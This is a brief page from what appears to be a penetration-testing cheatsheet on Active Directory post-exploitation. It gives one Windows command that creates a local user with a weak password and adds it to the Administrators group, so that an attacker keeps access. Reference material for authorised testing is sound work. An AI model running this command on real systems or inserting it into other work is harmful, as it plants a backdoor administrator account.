> For the complete documentation index, see [llms.txt](https://aas-s3curity.gitbook.io/cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/post-exploitation/maintening-access/adding-local-administrator.md).

# Adding Local Administrator

Adding a local administrator on a machine is a very effective way to maintain access to a machine.

This can simply be done with these commands.

```bash
net user lle Password123! /add && net localgroup Administrators lle /add
```
